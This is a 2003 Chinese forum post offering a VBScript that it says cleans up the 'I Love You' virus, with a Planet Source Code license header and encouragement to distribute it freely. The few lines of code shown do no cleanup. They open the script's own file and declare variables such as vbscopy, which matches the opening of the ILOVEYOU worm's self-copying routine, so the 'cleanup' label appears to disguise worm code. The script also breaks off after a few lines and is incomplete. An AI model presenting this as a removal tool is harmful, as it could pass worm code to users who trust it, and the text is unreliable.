标题: I Love You 病毒清除源程序 [打印本页] 作者: zhengjialon 时间: 2003-6-2 18:25 标题: I Love You 病毒清除源程序 作者: 不详
该源程序用于清除“I Love You”病毒。编制时间为2000年5月5日。该程序不需要你输入,也不返回什么。你可以将源代码编译成.exe/.dll/.ocx格式的文件,并且可以免费散发出去。
'**************************************
' Name: I Love You Virus Cleanup
' Description:This script cleans up the
' effects of the "I Love You" Virus!
' By: VirusKiller
'
'
' Inputs:None
'
' Returns:None
'
'Assumes:None
'
'Side Effects:None
'
'Warranty:
'code provided by Planet Source Code(tm)
' (http://www.Planet-Source-Code.com) 'as
' is', without warranties as to performanc
' e, fitness, merchantability,and any othe
' r warranty (whether expressed or implied
' ).
'Terms of Agreement:
'By using this source code, you agree to
' the following terms...
' 1) You may use this source code in per
' sonal projects and may compile it into a
' n .exe/.dll/.ocx and distribute it in bi
' nary format freely and with no charge.
' 2) You MAY NOT redistribute this sourc
' e code (for example to a web site) witho
' ut written permission from the original
' author.Failure to do so is a violation o
' f copyright laws.
' 3) You may link to this code from anot
' her website, provided it is not wrapped
' in a frame.
' 4) The author of this code may have re
' tained certain additional copyright righ
' ts.If so, this is indicated in the autho
' r's description.
'**************************************
On Error Resume Next
Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname,1)